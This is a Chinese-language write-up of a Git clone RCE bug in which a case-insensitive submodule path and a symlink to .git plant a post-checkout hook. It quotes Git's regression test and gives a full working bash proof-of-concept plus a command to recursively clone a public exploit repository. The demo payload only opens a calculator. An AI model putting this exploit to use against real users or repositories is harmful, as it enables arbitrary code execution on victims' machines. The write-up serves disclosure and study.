贡献者
该漏洞发生在不区分大小写的文件系统(如Windows、MacOS)上,当克隆包含子模块的git仓库时,会引发RCE(远程代码执行)漏洞。RCE是一种远程代码执行漏洞,攻击者可以在目标系统上执行任意命令,非常危险。
A/modules/x和a/modules/x被视为相同路径。利用这一特性以及符号链接来触发漏洞。
git config --global core.symlinks false,则攻击无法生效。builtin/submodule--helper.cdir_contains_only_dotgit函数:检查目录是否只包含.git文件,或者还包含其他目录,如果有其他文件或目录则返回错误。
clone_submodule函数:在克隆之前检查子模块目录是否存在且为空。
t/t7406-submodule-update.shtest_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
protocol.file.allow always启用Git的文件协议。core.symlinks true以允许使用符号链接。tell_tale_path用于确认RCE是否正常执行。git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
post-checkout的hook。hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
A/modules/x并提交。.git的符号链接a。test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main
# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF
# Make the hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define the hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
git clone --recursive captain hooked
Git中存在一种称为hook的机制,可以在特定事件发生时自动执行脚本。hook位于.git/hooks目录下。
post-checkout是在执行checkout后运行的脚本。

执行顺序如下:
git_rce中创建一个指向.git的符号链接a。a/modules/x而不是A/modules/x。a指向.git,因此在.git下创建/modules/x,并生成y/hooks/post-checkout。git_rce/.git/modules/x/y/hooks/post-checkout,从而导致RCE。⚠️警告:请勿恶意使用此漏洞!
git clone --recursive https://github.com/Roronoawjd/git_rce.git注意:在Windows上,需要以管理员身份打开cmd或bash shell执行。